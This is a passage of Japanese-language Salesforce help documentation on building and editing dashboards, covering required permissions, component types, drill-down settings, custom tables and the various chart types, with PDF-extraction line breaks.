• 「レポート実行」およ

び「ダッシュボードの
管理」

自分以外が作成したダッ
シュボードを編集および
削除する
• 「レポート実行」、

「ダッシュボードの管
理」および「すべての
データの参照」

動的ダッシュボードを作
成、編集、および削除す
る
• 「レポート実行」およ

び「動的ダッシュボー
ドの管理」

ダッシュボードでは、ソースレポートから得たデータを、グラフ、ゲージ、テー
ブル、総計値、または Visualforceページなど、視覚化されたコンポーネントとし
て表示します。コンポーネントは、組織の主要な総計値のスナップショットお
よびパフォーマンスの指標を提供します。
ダッシュボードビルダーは、ダッシュボードの作成や変更を行うためのドラッ
グアンドドロップインターフェースです。ダッシュボードビルダーを使用して、
ダッシュボード全体、ダッシュボードの列、またはダッシュボードのコンポー
ネントをカスタマイズできます。

ヒント: ダッシュボードビルダーでは、画面スペースをより広く利用する
ために圧縮ページヘッダーを使用します。アプリケーションタブを表示す
るには、単にビルダーを閉じるか、Salesforce ロゴをクリックします。

ダッシュボードを編集するには、ダッシュボードを表示し、[編集]をクリックし
ます。

ダッシュボードコンポーネントの追加
コンポーネントを追加するには、コンポーネントの種類をダッシュボードに
ドラッグしてから、データソース (レポート、Sコントロール、またはVisualforce

ページ) をドロップします。
ダッシュボードコンポーネントの変更
ダッシュボードコンポーネントは、レポートのデータを視覚的に表現したも
のです。コンポーネントのデータソース、コンポーネントでのデータの外
観、およびコンポーネントの種類を変更できます。
Lightning Experience のキーボードショートカットでダッシュボードを編集
[ダッシュボード] タブで、キーボードだけを使用してダッシュボードを作成、
編集、削除できます。キーストロークを使用して、Lightning Experienceでダッ
シュボードの編集がすばやく簡単にできます。
Salesforce Classic のアクセシビリティモードでダッシュボードを編集
Salesforce Classicのアクセシビリティモードでダッシュボードを編集できます。

関連トピック:

ダッシュボード検索条件の追加
Salesforce Classic ダッシュボードを作成
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ダッシュボードコンポーネントの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードを作成す
る
• 「レポート実行」およ

び「ダッシュボードの
管理」

自分が作成したダッシュ
ボードを編集および削除
する
• 「レポート実行」およ

び「ダッシュボードの
管理」

自分以外が作成したダッ
シュボードを編集および
削除する
• 「レポート実行」、

「ダッシュボードの管
理」および「すべての
データの参照」

動的ダッシュボードを作
成、編集、および削除す
る
• 「レポート実行」およ

び「動的ダッシュボー
ドの管理」

コンポーネントを追加するには、コンポーネントの種類をダッシュボードにド
ラッグしてから、データソース (レポート、Sコントロール、またはVisualforceペー
ジ) をドロップします。
1. コンポーネントを追加するダッシュボードで、[編集] をクリックします。

コンポーネントおよびデータソースの読み込み中は引き続きダッシュボード
を編集できます。

2. [コンポーネント] タブから、必要なコンポーネントの種類をダッシュボード
にドラッグします。

ヒント: データソースを最初にドロップしてから、コンポーネントの種
類をドロップすることもできます。

必要なコンポーネントの種類を選択するには、表示するデータの種別と利用
するユーザを考慮します。

データをグラフィカルに表示する場合、グラフを
使用します。さまざまなグラフの種類から選択で
きます。

ゲージは、カスタム値の範囲で表示する個別値が
存在する場合に使用します。

総計値は、表示するキー値が 1 つの場合に使用し
ます。
• 総計の横にある空のテキスト項目をクリック

して、コンポーネントに総計値表示ラベルを
直接入力します。

• ダッシュボード列で互いに上下に直接配置さ
れている総計値コンポーネントは、1 つのコン
ポーネントとしてまとめて表示されます。

レポートデータを列形式で表示するには、テーブ
ルを使用します。

Visualforceページは、カスタムコンポーネントを作
成したり、別のコンポーネントの種類では表示で
きない情報を表示したりする場合に使用します。

Visualforce ページ

カスタムSコントロールには、Java アプレット、
Active-X コントロール、Excel ファイル、カスタム

カスタムSコントロール

HTML Web フォームなど、ブラウザに表示できるあ
らゆる種類のコンテンツを入れることができま
す。
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3. ダッシュボードにドロップしたコンポーネントに、[データソース] タブからレポートをドラッグします。
• ダッシュボードにグラフを含む結合レポートを表示できます。結合レポートダッシュボードコンポーネ

ントを編集し、[ソースレポートで定義したグラフを使用] を選択します。
• ダッシュボードに検索条件がある場合は、データソースに検索条件項目またはそれと同等の項目が含ま

れている必要があります。含まれていない場合は、検索条件が機能しない場合があります。
• 一部の売上予測とリードのカスタムレポートは、ダッシュボードでは使用できません。
• Visualforce コンポーネントでは、データソースとして Visualforce ページを使用する必要があります。

ヒント: 各フォルダには、200 個までデータソースを含めることができます。適切なデータソースにす
ばやく焦点を合わせるには、[クイック検索] や、[最近の]、[私の]、[すべて]の検索条件を使用します。

4. ダッシュボードコンポーネントで、 をクリックします。
5. [コンポーネントデータ] タブで、基礎になるレポートからコンポーネントに表示する集計項目とグループ

を選択します。

ヒント: ダッシュボードコンポーネントで使用できる項目を増やすには、項目をソースレポートグラ
フに追加します。たとえば、縦棒と折れ線を使用してレポート上に組み合わせグラフを作成します。
レポートグラフの追加のグルーピングは、ダッシュボードコンポーネントで使用できます。

6. [フォーマッティング] タブで、コンポーネントでデータをどのように表示するかを指定します。
書式設定の選択肢は、選択したコンポーネントの種類によって異なります。

メモ: Visualforce ページおよび Sコントロールの場合、[高さ] を設定します。

7. [OK] をクリックします。
8. ダッシュボードのコンポーネントを再配置するには、ドラッグ、ドロップ、クリックします。

• 見出しバーを使用してコンポーネントをダッシュボードの適切な場所にドラッグします。
• コンポーネントからデータソースを削除するには、データソースの をクリックします。
• ダッシュボードからコンポーネントを削除するには、コンポーネントの をクリックします。
• コンポーネントのヘッダー、タイトル、およびフッターの項目を編集するには、それらをクリックしま

す。
• ダッシュボードコンポーネントに表示される選択リスト値の色を変更します。「アプリケーションのカ

スタマイズ」権限が必要です。
• 検索条件で絞り込まれたダッシュボードでは、必要に応じて、[検索条件] ドロップダウンで他の項目

を選択します。
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ダッシュボードコンポーネントの変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

自分が作成したダッシュ
ボードを編集および削除
する
• 「レポート実行」およ

び「ダッシュボードの
管理」

自分以外が作成したダッ
シュボードを編集および
削除する
• 「レポート実行」およ

び「ダッシュボードの
管理」

動的ダッシュボードを作
成、編集、および削除す
る
• 「レポート実行」およ

び「動的ダッシュボー
ドの管理」

ダッシュボードコンポーネントは、レポートのデータを視覚的に表現したもの
です。コンポーネントのデータソース、コンポーネントでのデータの外観、お
よびコンポーネントの種類を変更できます。

メモ: 「動的ダッシュボードの管理」は、分析フォルダの拡張共有を有効
にすると使用できます。分析フォルダの拡張共有によって、レポートフォ
ルダおよびダッシュボードフォルダに詳細なアクセス権が付与されます。
組織が Summer '13 Salesforce リリースより後に作成された場合、すでに分析
フォルダの拡張共有が有効になっています。組織で分析フォルダの拡張共
有が有効になっていない場合は、Salesforce ヘルプの「レポートとダッシュ
ボードの拡張共有の有効化」を参照してください。

ダッシュボードビルダーは、ダッシュボードの作成や変更を行うためのドラッ
グアンドドロップインターフェースです。ダッシュボードのコンポーネントを
再配置するには、ドラッグ、ドロップ、クリックします。詳細のフロート表示
およびドリルダウンは、ダッシュボードの表示時には使用できますが、編集時
には使用できません。

1. ダッシュボードコンポーネントで項目を使用可能にする
ダッシュボードコンポーネントで使用できる項目を増やすには、項目をソー
スレポートグラフに追加します。

2. ユーザがダッシュボードコンポーネントをクリックしたときの動作の選択
ユーザがコンポーネントをクリックしたときに、ソースレポート、条件設定
済みレポート、レコード詳細ページ、またはその他の URL までドリルダウン
できるようにするため、ダッシュボードコンポーネントを編集できます。

3. 4 列のカスタムテーブル
テーブルによる表示は、いくつかの条件に対して複数の項目の値をリストす
る場合に役立ちます。ソースレポートグラフに追加した項目は、ダッシュ
ボードのテーブル列で使用できます。

4. ダッシュボードコンポーネントの種類
ダッシュボードコンポーネントは、グラフ、テーブル、ゲージ、総計値、ま
たは Visualforce で作成可能なその他のコンポーネントにすることができます。

5. グラフの種類
レポートとダッシュボードで、データを横棒、縦棒、折れ線、図形などの要素の形式で表示できます。ど
の形式が適切かは、データの内容や表示目的によって異なります。

6. ダッシュボードのグラフコンポーネントのデータ設定
レポートグラフまたはダッシュボードグラフに表示するデータを選択します。グラフでは、レポートから
自動的にグルーピングとサマリー値が選択されます。これらの選択を上書きして、共有が必要なデータに
焦点を当てることができます。
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7. ダッシュボードのグラフコンポーネントのビジュアル設定
共有するデータに適したグラフの種類を選択し、データを最も効果的に伝えるビジュアル設定を適用しま
す。

関連トピック:

ダッシュボード検索条件の追加

ダッシュボードコンポーネントで項目を使用可能にする
ダッシュボードコンポーネントで使用できる項目を増やすには、項目をソースレポートグラフに追加します。
たとえば、縦棒または折れ線を使用してレポート上に組み合わせグラフを作成します。レポートグラフの追加
のグルーピングは、ダッシュボードコンポーネントで使用できます。

ユーザがダッシュボードコンポーネントをクリックしたときの動作の選択
ユーザがコンポーネントをクリックしたときに、ソースレポート、条件設定済みレポート、レコード詳細ペー
ジ、またはその他の URL までドリルダウンできるようにするため、ダッシュボードコンポーネントを編集でき
ます。
コンポーネントを編集して、[コンポーネントデータ] タブの [ドリルダウン先] オプションを設定します。次
のいずれかのオプションを選択します。
• ソースレポート — ユーザにダッシュボードコンポーネントの完全なソースレポートを表示します。
• 条件設定済みソースレポート — ユーザが個々のグループ、X 軸の値、または凡例項目をクリックすると、

クリックしたもので絞り込まれたソースレポートが表示されます。
たとえば、フェーズ別にグループ化した商談の積み上げ縦棒グラフがあり、X 軸を月としている場合、棒
内の個々のフェーズまたはフェーズの凡例項目をクリックすると、絞り込まれたソースレポートにドリル
ダウンします。(ゲージ、総計値、またはテーブルでは使用不可。)

• レコード詳細ページ — このオプションでは、ユーザがグラフまたは、テーブル要素、軸の値、または凡例
項目をクリックすると、そのレコードに対する詳細ページが表示されます。レコード名、所有者、または
フィード投稿でグループ化されているソースレポートを使用するテーブルおよびグラフでのみこのオプショ
ンを選択できます。(ゲージまたは総計値では使用不可。)

• URL (その他) — 指定する URL をユーザに表示します。ダッシュボードコンポーネントには、「mailto:」また
は「javascript:」で始まる URL は追加できません。

4 列のカスタムテーブル
テーブルによる表示は、いくつかの条件に対して複数の項目の値をリストする場合に役立ちます。ソースレ
ポートグラフに追加した項目は、ダッシュボードのテーブル列で使用できます。
テーブルには、デフォルトで 2 つのデータ列が表示されます。カスタマイズすれば、合計と最大 4 つのデータ
列を表示できます。また、20 行を超えない限り、テーブルをパーソナライズして、ユーザの Chatter 写真を表
示することもできます。
テーブルをカスタマイズする前に、ソースレポートがマトリックスまたはサマリー形式であり、グラフが含ま
れていることを確認します。
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1. 4 列のテーブルを作成するには、ダッシュボードでテーブルコンポーネントを編集して [テーブルのカスタ
マイズ] リンクをクリックします。カスタマイズされたテーブルでは、結果に Null 値を入力できます。デ
フォルトの 2 列テーブルには入力できません。

2. テーブルで使用できる項目は、ソースレポートグラフで選択した項目によって異なります。

a. グラフにはグループと 1 つ以上の集計が含まれている必要があります。
b. レポートグラフの最初のグループがテーブルの最初の列になります。テーブルの最初の列に別の項目を

表示するには、レポートグラフの目的のグループを選択します。
c. レポートで組み合わせ縦棒グラフまたは散布図を使用すると、テーブルで使用できる項目が増えます。

例
テーブルを使用して、次の要素を表示できます。
• 四半期で上位の営業担当および成立ごとの商談数。
• 最近 3 か月の商品ごとのケース数。
• 地域ごとの取引先数、利用可能な商談の合計数、および成立した商談の合計数。
カスタマイズされた次の 4 列のテーブルを確認してください。地域ごとの上位の営業担当、および成立した商
談数と商談金額が表示されています。
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ダッシュボードコンポーネントの種類
ダッシュボードコンポーネントは、グラフ、テーブル、ゲージ、総計値、または Visualforce で作成可能なその
他のコンポーネントにすることができます。

説明画像コンポーネントの
種類

データをグラフィカルに表示する場合、グラフを使用します。さまざまなグラ
フの種類から選択できます。

グラフ

ゲージは、カスタム値の範囲で表示する個別値が存在する場合に使用します。
たとえば、現在の完了商談金額が値範囲のどの辺りにあるのかを測定するダッ

ゲージ

シュボードを作成するには、ゲージの [最小値]、[ブレークポイント #1 の
値]、[ブレークポイント #2 の値]、[最大値] を設定します。設定した範囲に
よって、業績の評価 (不可、可、良) を示すことができます。進捗状況を視覚的
に示すには、範囲のそれぞれに適切な色を設定します。2 つの範囲のみでゲー
ジを作成するには、[ブレークポイント #2 の値] を空白のままにします。
[パーセントの表示] や [合計を表示] を選択すると、ゲージに該当する値が表
示されます。最大値を超える値は、100% より大きい値として表示されます。

総計値は、表示するキー値が 1 つの場合に使用します。たとえば、現在月の[完
了]フェーズ、[達成予測]フェーズ、[基準ケース]フェーズのすべての商談の

総計値

合計金額を示すレポートが存在する場合、対象の値に名前を付け、それをダッ
シュボードに表示される月の収益目標として使用できます。

レポートデータを列形式で表示するには、テーブルを使用します。金額が上位
20 件の商談を表示する場合、[表示する最大件数] を 20 に設定し、[テーブル

テーブル

のカスタマイズ] をクリックして、商談名、金額、表示する他の列を選択し、
ソート順を選択して条件付き強調表示を設定します。使用可能な列には、レ
ポートで定義された 2 番目のレベルのグループのほか、すべてのグラフのグ
ループ、レポート集計項目が含まれます。

Visualforce ページは、カスタムコンポーネントを作成したり、別のコンポーネ
ントの種類では表示できない情報を表示したりする場合に使用します。たとえ

なしVisualforce ページ

ば、Visualforceページには、外部システムからのデータを表示したり、Salesforce

データをカスタマイズして表示したりできます。Visualforce ページをダッシュ
ボードに表示するには、特定の要件を満たす必要があります。要件が満たされ
ない場合、[Visualforce ページ] ドロップダウンリストに Visualforce ページ
は表示されません。「Visualforce ダッシュボードコンポーネントの作成」を参
照してください。
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説明画像コンポーネントの
種類

カスタムSコントロールには、Java アプレット、Active-X コントロール、Excel ファ
イル、カスタム HTML Web フォームなど、ブラウザに表示できるあらゆる種類
のコンテンツを入れることができます。

なしカスタムSコント
ロール

重要: Visualforceページは、Sコントロールよりも優先されます。組織で以
前に Sコントロールを使用していない場合は、作成できません。既存の S

コントロールに影響はありません。今後も編集できます。

関連トピック:

ダッシュボードコンポーネントの変更

グラフの種類
レポートとダッシュボードで、データを横棒、縦棒、折れ線、図形などの要素の形式で表示できます。どの形
式が適切かは、データの内容や表示目的によって異なります。

1. 棒グラフ
棒グラフは値が横方向の長さで示されるため、距離や時間を比較するのに適しています。棒グラフは、サ
マリーレポートが 1 つのグループで構成されている場合、または 1 つのグループのみを表示する場合に使
用します。

2. 縦棒グラフ
縦棒グラフは棒グラフと非常によく似ていますが、リードや金額など、相対的な件数を示すのにより適し
た形式です。縦棒グラフは、サマリーレポートが 1 つのグループで構成されている場合、または 1 つのグ
ループのみを表示する場合に使用します。

3. 折れ線グラフ
折れ線グラフは、週単位や四半期単位などの時系列で項目の値の変化を示すのに適しています。折れ線グ
ラフは、順序付けられた一連のデータを表す重要なグループが 1 つ存在し、1 つの値を表示する場合に使用
します。

4. 円グラフ
円グラフは、複数のグループが存在し、合計に対する各グループの個別値の比率を表示する場合に使用し
ます。

5. ドーナツグラフ
ドーナツグラフは、複数のグループが存在し、合計に対する各グループの個別値の比率だけでなく、合計
金額も表示する場合に使用します。

6. じょうごグラフ
じょうごグラフは、順序付けられた一連のデータ内に複数のグループが存在し、グループ間の比率を表示
する場合に使用します。
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7. 散布図
1 つまたは 2 つのグループのレポートデータと集計を使用した役に立つ情報を表示するには、散布図を使用
します。

関連トピック:

散布図
ダッシュボードコンポーネントの変更
アクセシビリティモードでのカスタムレポートの作成
1 つのグラフに異なるデータセットを表示
ダッシュボードのグラフコンポーネントのデータ設定
ダッシュボードのグラフコンポーネントのビジュアル設定

棒グラフ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

棒グラフは値が横方向の長さで示されるため、距離や時間を比較するのに適し
ています。棒グラフは、サマリーレポートが 1 つのグループで構成されている
場合、または 1 つのグループのみを表示する場合に使用します。

たとえば、各販売フェーズの金額をレポートに表示するには、[X 軸] として
[合計金額]、[Y 軸] として [フェーズ] を選択します。グラフには、フェーズ
ごとに横棒が 1 本ずつ表示され、棒の長さは商談金額の合計に比例します。
横棒グラフの利点は、幅は固定されるが、縦方向に拡張して多くのグルーピン
グを表示できるという点にあります。グラフの設定に応じて、Chatter の写真も
表示できます。

1. 集合棒グラフ
集合棒グラフは、複数のグループが存在し、合計ではなく、2 次グループ内の値を比較する場合に使用しま
す。

2. 積み上げ棒グラフ
積み上げ棒グラフは、複数のグループが存在し、各グループの値間の比率、および各グループの合計を確
認する場合に使用します。

3. 100% 積み上げ棒グラフ
100% 積み上げ棒グラフは、複数のグループが存在し、各グループの値間の比率、および各グループの合計
を確認する場合に使用します。

関連トピック:

ダッシュボードの横棒および縦棒グラフコンポーネントのデータ設定
ダッシュボードの棒グラフコンポーネントの書式設定

集合棒グラフ
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エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

集合棒グラフは、複数のグループが存在し、合計ではなく、2 次グループ内の値
を比較する場合に使用します。

たとえば、レポートで毎月の完了案件の金額をリードソース別に比較するには、
金額を [X 軸]、ソースを [Y 軸]、完了月を [グルーピング] 値として設定しま
す。グラフには、ソース別の一連の横棒が表示され、それぞれの棒は各月に対
応します。特定のソースでの月ごとの差異は簡単に比較できます。
複数のソースで特定の月を比較することもできますが、ソース別のリード総数
の比較は困難な場合があります。

ヒント: 合計を比較するには、積み上げグラフを使用します。

積み上げ棒グラフ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

積み上げ棒グラフは、複数のグループが存在し、各グループの値間の比率、お
よび各グループの合計を確認する場合に使用します。

たとえば、レポートでリードの状況をキャンペーン別に比較し、さらに各状況
の合計も比較するには、レコード件数を [X 軸]、状況を [Y 軸]、キャンペー
ンを [グルーピング] 値として設定します。グラフには、状況ごとに、キャン
ペーン別に分類された横棒が 1 本ずつ表示されます。各キャンペーンは異なる
色で示されます。
各状況のキャンペーン別の比率は、状況ごとの合計であるため、簡単に比較で
きます。ただし、異なる状況または合計に対する 1 つのキャンペーンの貢献度
の比較は困難な場合があります。
100% 積み上げ棒グラフ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

100% 積み上げ棒グラフは、複数のグループが存在し、各グループの値間の比率、
および各グループの合計を確認する場合に使用します。

たとえば、レポートでリードの状況をキャンペーン別に比較し、さらに各状況
の合計も比較するには、レコード件数を [X 軸]、状況を [Y 軸]、キャンペー
ンを [グルーピング] 値として設定します。グラフには、状況ごとに、キャン
ペーン別に分類された横棒が 1 本ずつ表示されます。各キャンペーンは異なる
色で示されます。
各状況のキャンペーン別の比率は、状況ごとの合計であるため、簡単に比較で
きます。ただし、異なる状況または合計に対する 1 つのキャンペーンの貢献度
の比較は困難な場合があります。
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縦棒グラフ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

縦棒グラフは棒グラフと非常によく似ていますが、リードや金額など、相対的
な件数を示すのにより適した形式です。縦棒グラフは、サマリーレポートが 1

つのグループで構成されている場合、または 1 つのグループのみを表示する場
合に使用します。

たとえば、リードソース別のリード数をレポートに表示するには、レコード件
数を [Y 軸]、ソースを [X 軸] として設定します。グラフには、ソースごとに
縦棒が 1 本ずつ表示され、棒の高さはリードの総数に比例します。縦棒グラフ
の幅は、ダッシュボードの列サイズとレポートグラフのサイズによって制限さ
れます。グループ数が多い場合は、横棒グラフの方が適している可能性があり
ます。日付は従来 X 軸に沿って表記されるため、縦棒グラフは値を日付別に表
示する場合に適しています。

1. 集合縦棒グラフ
集合縦棒グラフは、複数のグループが存在し、合計ではなく、2 次グループ内の値を比較する場合に使用し
ます。

2. 積み上げ縦棒グラフ
積み上げ縦棒グラフは、複数のグループが存在し、各グループの値間の比率、および各グループの合計を
確認する場合に使用します。

3. 積み上げ棒グラフ
積み上げ棒グラフは、複数のグループが存在し、各グループの値間の比率、および各グループの合計を確
認する場合に使用します。

4. 100% 積み上げ縦棒グラフ
100% 積み上げ縦棒グラフは、複数のグループが存在し、各グループの値間の比率、および各グループの合
計を確認する場合に使用します。

集合縦棒グラフ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

集合縦棒グラフは、複数のグループが存在し、合計ではなく、2 次グループ内の
値を比較する場合に使用します。

たとえば、レポートで毎月作成される商談数をキャンペーンソース別に比較す
るには、レコード件数を [Y 軸]、作成月を [X 軸]、ソースを [グルーピング]

値として設定します。グラフには、月別の一連の縦棒が表示され、それぞれの
棒は各キャンペーンソースに対応します。特定の月でのソース間の差異は簡単
に比較できます。
複数の月で特定のソースを比較することもできますが、月別の商談総数の比較
は困難な場合があります。

ヒント: 合計を比較するには、積み上げグラフを使用します。
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積み上げ縦棒グラフ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

積み上げ縦棒グラフは、複数のグループが存在し、各グループの値間の比率、
および各グループの合計を確認する場合に使用します。

たとえば、レポートで毎月作成される商談数をキャンペーンソース別に比較し、
さらに各月の合計も比較するには、レコード件数を [Y 軸]、作成月を [X 軸]、
ソースを [グルーピング]値として設定します。グラフには、ソース別に分類さ
れた月ごとの棒が 1 本ずつ表示されます。各ソースは異なる色で示されていま
す。
各月のソース別の比率は、月ごとの合計であるため簡単に比較できますが、異
なる月または合計に対する 1 つのソースの貢献度の比較は困難な場合がありま
す。
積み上げ棒グラフ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

積み上げ棒グラフは、複数のグループが存在し、各グループの値間の比率、お
よび各グループの合計を確認する場合に使用します。

たとえば、レポートでリードの状況をキャンペーン別に比較し、さらに各状況
の合計も比較するには、レコード件数を [X 軸]、状況を [Y 軸]、キャンペー
ンを [グルーピング] 値として設定します。グラフには、状況ごとに、キャン
ペーン別に分類された横棒が 1 本ずつ表示されます。各キャンペーンは異なる
色で示されます。
各状況のキャンペーン別の比率は、状況ごとの合計であるため、簡単に比較で
きます。ただし、異なる状況または合計に対する 1 つのキャンペーンの貢献度
の比較は困難な場合があります。
100% 積み上げ縦棒グラフ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

100% 積み上げ縦棒グラフは、複数のグループが存在し、各グループの値間の比
率、および各グループの合計を確認する場合に使用します。

たとえば、レポートで毎月作成される商談数をキャンペーンソース別に比較し、
さらに各月の合計も比較するには、レコード件数を [Y 軸]、作成月を [X 軸]、
ソースを [グルーピング]値として設定します。グラフには、ソース別に分類さ
れた月ごとの棒が 1 本ずつ表示されます。各ソースは異なる色で示されていま
す。各月のソース別の比率は、月ごとの合計であるため簡単に比較できますが、
異なる月または合計に対する 1 つのソースの貢献度の比較は困難な場合があり
ます。
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折れ線グラフ
折れ線グラフは、週単位や四半期単位などの時系列で項目の値の変化を示すのに適しています。折れ線グラフ
は、順序付けられた一連のデータを表す重要なグループが 1 つ存在し、1 つの値を表示する場合に使用します。

折れ線グラフは、経時的なデータを表示する場合に有用です。たとえば、毎月作成されるリード数をレポート
に表示するには、レコード件数を [Y 軸]、作成月を [X 軸] として設定します。グラフには、各月のレコー
ド件数の合計に関連付けられた折れ線が 1 本表示されます。Salesforce では、欠損 (ヌル) 値は描画されません。
データセットの途中に欠損値が含まれる場合、Salesforce では折れ線内に空白が表示されます。

1. 集合折れ線グラフ
集合折れ線グラフは、複数のグループ (各グループに 1 つずつ、順序付けられた一連のデータを表す重要な
2 次グループが 1 つ含まれる) が存在し、1 つの値を表示する場合に使用します。

2. 累積折れ線グラフ
累積折れ線グラフは、順序付けられた一連のデータを表す重要なグループが 1 つ存在し、1 つの値を経時的
に集計して表示する場合に使用します。

3. 集合累積折れ線グラフ
累積折れ線グラフは、順序付けられた一連のデータを表す重要なグループが 1 つ存在し、1 つの値を経時的
に集計して表示する場合に使用します。集合折れ線グラフは、複数のグループ (各グループに 1 つずつ、順
序付けられた一連のデータを表す重要な 2 次グループが 1 つ含まれる) が存在し、1 つの値を表示する場合
に使用します。

集合折れ線グラフ
集合折れ線グラフは、複数のグループ (各グループに 1 つずつ、順序付けられた一連のデータを表す重要な 2

次グループが 1 つ含まれる) が存在し、1 つの値を表示する場合に使用します。

たとえば、毎月のリード数をリードソース別にレポートに表示するには、レコード数を [Y 軸]、作成月を [X

軸]、ソースを [グルーピング]値として設定します。グラフには、ソースごとに折れ線が 1 本ずつ表示され、
それぞれの線が各月の該当ソースのレコード件数合計に関連付けられています。各折れ線は、データが最初に
登録された月から最後に登録された月までを範囲とします。各月の合計数の比較は困難な場合があります。
Salesforce では、欠損 (ヌル) 値は描画されません。データセットの途中に欠損値が含まれる場合、Salesforce では
折れ線内に空白が表示されます。
累積折れ線グラフ
累積折れ線グラフは、順序付けられた一連のデータを表す重要なグループが 1 つ存在し、1 つの値を経時的に
集計して表示する場合に使用します。

たとえば、完了した商談の合計金額を現在月の日付別にレポートに表示するには、合計金額を [Y 軸]、完了
日を [X 軸] として設定します。グラフには、折れ線が 1 本表示され、線の高さは該当日までに完了した商談
の累積金額を示します。1 日の金額を表示することはできません。表示できるのは累積金額のみです。
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データセットに欠損 (ヌル) 値が含まれる場合、Salesforceでは、データセットでの直前の値が折れ線に継続して
使用されます。
集合累積折れ線グラフ
累積折れ線グラフは、順序付けられた一連のデータを表す重要なグループが 1 つ存在し、1 つの値を経時的に
集計して表示する場合に使用します。集合折れ線グラフは、複数のグループ (各グループに 1 つずつ、順序付
けられた一連のデータを表す重要な 2 次グループが 1 つ含まれる) が存在し、1 つの値を表示する場合に使用し
ます。

たとえば、最近 3 か月の各月について、完了した商談の合計金額を日付別にレポートに表示するには、金額を
[Y 軸]、完了日を [X 軸]、完了月を [グルーピング] 値として設定します。グラフには、月ごとに折れ線が
1 本ずつ表示され、線の高さは該当日までに完了した商談の累積金額を示します。

円グラフ
円グラフは、複数のグループが存在し、合計に対する各グループの個別値の比率を表示する場合に使用しま
す。

たとえば、ケース状況別のケースキューの分類をレポートに表示するには、[値]を表すレコード件数と[系列]

を表す状況を設定します。グラフには、系列で構成された円が表示され、各系列はあるケース状況のケースを
示します。系列サイズは、ケース数に比例します。
円グラフは、よく似た値同士を比較したり、小さな値を多数比較したりする場合には適しません。
[表示ラベルを表示する]、[値を表示]、または [系列の表示 (%)] を選択すると、グラフに該当情報が表示さ
れます。(Chart Analytics 2.0 でのみ使用可能)。

ドーナツグラフ
ドーナツグラフは、複数のグループが存在し、合計に対する各グループの個別値の比率だけでなく、合計金額
も表示する場合に使用します。

たとえば、ケース状況別のケースキューの分類とケースの合計数をレポートに表示するには、[値] を表すレ
コード件数と [系列] を表す状況を設定します。グラフには、系列で構成されたドーナツが表示され、各系列
はケース状況を示します。系列サイズは、ケース数に比例します。すべての状況についてケースの合計数が中
央に表示されます。
[表示ラベルを表示する]、[値を表示]、[系列の表示 (%)]、または [合計を表示] を選択すると、グラフに該
当情報が表示されます。

じょうごグラフ
じょうごグラフは、順序付けられた一連のデータ内に複数のグループが存在し、グループ間の比率を表示する
場合に使用します。
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たとえば、各フェーズの商談金額をレポートに表示するには、[値]を表す金額、[区分]を表すフェーズを設
定します。[商談: フェーズ] 項目の選択リストは順序付けされているため、フェーズは選択リストと同じ順
序で並び替えられます。各区分は該当フェーズの金額を示します。じょうごグラフは、複数のフェーズを通じ
て商談のフローを表示する場合に有用です。区分が非常に大きいと、そのフェーズでボトルネックになる場合
があります。
[表示ラベルを表示する]、[値を表示]、または [区分の表示 (%)] を選択すると、グラフに該当情報が表示さ
れます。

散布図
1 つまたは 2 つのグループのレポートデータと集計を使用した役に立つ情報を表示するには、散布図を使用し
ます。

たとえば、フェーズ滞在期間と商談の活動数との相関関係を表示するには、[商談名] でレポートをグループ
分類し、そのグルーピングで散布図をプロットします。続いて、グラフの [X 軸]を [レコード件数]、[Y 軸]

を [フェーズ滞在期間] に設定します。グラフには、商談ごとに点が 1 つ表示されます。活動数が多い商談ほ
どフェーズ滞在期間が短くなるかどうかを一目で把握できます。
散布図には、集計値でグループ化されたデータが表示されるため、レポートには少なくとも 1 つのグループ化
が必要です。サマリー、マトリックス、結合など、グループ化が可能なレポート形式を選択します。また、グ
ラフの軸にデータを表示するために、レポートには少なくとも 1 つの集計項目が必要です。集計項目がない
と、グラフの軸にはレコード件数が表示されます。散布図では、ソースレポートから自動的にデータが表示さ
れます。または、グループ化および集計で表示する情報を手動で選択できます。

Y-軸に自動的に表示されるデータX-軸に自動的に表示されるデータソースレポートに含まれる項目

レコード件数。レコード件数。集計項目なし

最初の集計。1 つ以上の集計項目 • レコード件数か、レポートグラ
フの 2 番目の集計。

• ソースレポートに複数の集計が
ある場合でも、ダッシュボード
グラフの最初の集計。ただし、
軸に表示する別の集計を手動で
選択できます。

これは取引先および商談所有者ごとにグループ化された完了した成立商談に関するレポートです。散布図は年
間売上がより高い取引先を開拓できる可能性を示すことができます。
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このグラフは次のいくつかの主要な項目を基に作成されています。
1. プロット単位では、最初のレポートグルーピングが自動的に選択されます。[取引先名]が獲得した商談を

表示するには 2 番目のグルーピングを手動で選択します。
